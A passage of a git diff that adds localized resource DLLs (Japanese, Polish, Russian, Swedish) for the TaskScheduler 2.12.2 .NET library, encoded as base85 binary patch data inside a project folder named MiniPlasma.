zyBbQ%|L$FTd)=}Znht&M+t>c4$M^m=c=Pd7-zs>k>ep%8cdk5gci!STJpSObOO%e^%$C^n5tWJL>v@R{oQ0x#)PQ0k-dk9jw0A^(if=UKFzxPLhRN-2 zg?l~499sbQ;fd{vHXMr^U7QTcV-^K^1W0%{lQoUUWZ+~EYzBIeTjC%9$5VJ6QcFbrUe2w@frzAdIg%l1Meb>{Mx&?SVn<^04 zBV#zeIwg_rr(7L<&kyJHiHNGj%>9)j!wns<_oa70ONpzH$k$NzlU^<;VQwHFs^Sxt z(rp~$ay%XWBqjAw8jjLmlr8T?&qg62e_#Nkr!?9JvEZ&e9AhF-RE!;z-Fz zHyce_qWREy45jWucyeG61z~pxjsdhc3dllM23a|5Lr{`51Z)k@E)+*Yls}+ZQdS@! z=!2{XZ8|dwVr0sllJ%0YLt;jhAa%}1xX3~$Yr{GGa_8sD zz?Ei2*$sqmoNrtmvo{@t(BZ+Ycv7y8u6ppWaoiSxO?k{ONXyiZP>(BsLwhOaV|37B z32oC1+(a+o4Yz_Ps@D=>dDptbZOd3G-X7y)tiTv?jSz409B=eaK1J6iXj>AihjeU0 zX3|M~c7MJ+9$`K5CCU@gX`F@eDJM^RPYYh8CDw#qvacqz7KW~z%y~C-!cz2cb`To& zi52O?xhvIt3>zi_6U}33l%7@`adp=;wH#~xf6Zr=u&)yVXuVM?J+8&S%&uj^uF1TI pS~rz#D+FB?^qw4Xu7nmU{o?v-&;Y^!eMhtMzlO6ZWi literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1b4aaf3ca1283d8acd1502af4050ed116b7c6764 GIT binary patch literal 10240 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

s)j#RHPu=@=JJEx_rJbjYV{kl--zCr z7Tf#%>+5g!OdWgi=Z|j(utE?kik}B zwG_f{d`XkT42mStSX3lSMMhU(+J>tQO9^Cc5`*Nzdc=vu#ch(&YFUc)9Cp#^E-7)y zE*)dN1=b_m;+p85FCy-3Zo9=*%2FzHCpWIK9(dM1v-_V6G6{!_aZs`GV?#T0Gtb= zn24)B^(_VWm51|GkJ*WsoHY*bBm7|3%9)O-=*~d)doJ4XY#Mr#kn(;E<4I^Ipikvw zhi`wP{eCaKokE_!=1}!smmr}f3j+aMDJe<6UMb5r3BSoHiBBbgju4*er(fz$z=PRT zj=+v|5Fx9;)BTiwqu=w9oc_*FqGYE1r6R)(8?f($8=$4cm5t|XDEmn-WJ;JjkPo%s zCoHAgM64^~sq!Z&X@=5pl>VY@c`0TVgUW~mJEi?(jMb|Mk^izL3O(M7$()iBu_7}B z#*_x7ALnXHk5+SlR)pSaGGBytCj6w9Kt;C+LGEfwSLAY$M0C$0B6mQ^S<-+KgOm{< zj;d6u{m4qB58cO5>duCz2n?bi?3tXS8RNwqGMbHotRj3vP?FRJY%89HsH%l1e?VGN zR=~{Zi&zrIMyyo?X()F}tA}ITxJHy9Rqsbco`nv#hI;v>>8Hu0Sy#>8k?t0@l&_%L zk>qrPD``d94IFv6-?*>I-*gc|mj{pGNx3>I+2G;Ab(MH--j#X=hL;QuCemX{fSz_7an<%TjZ|;_f9W%u`&T^yXunY^J!r-Mn_ow9 wzlQT}?%kGrJBHJx!|vfHPFrYU(qGCyg9UI5&~MK(A>U>H3~K+PqiTWw2DqZt3IG5A literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..346d7ecadbc910b12653cc650add3be82b96dfef GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..b7135b77a0d98a9f44136beda6fee156ef5640b4 GIT binary patch literal 10752 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..c2700ba795ebdfb3b7b0d01f6aa8dd1d084248a5 GIT binary patch literal 9728 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 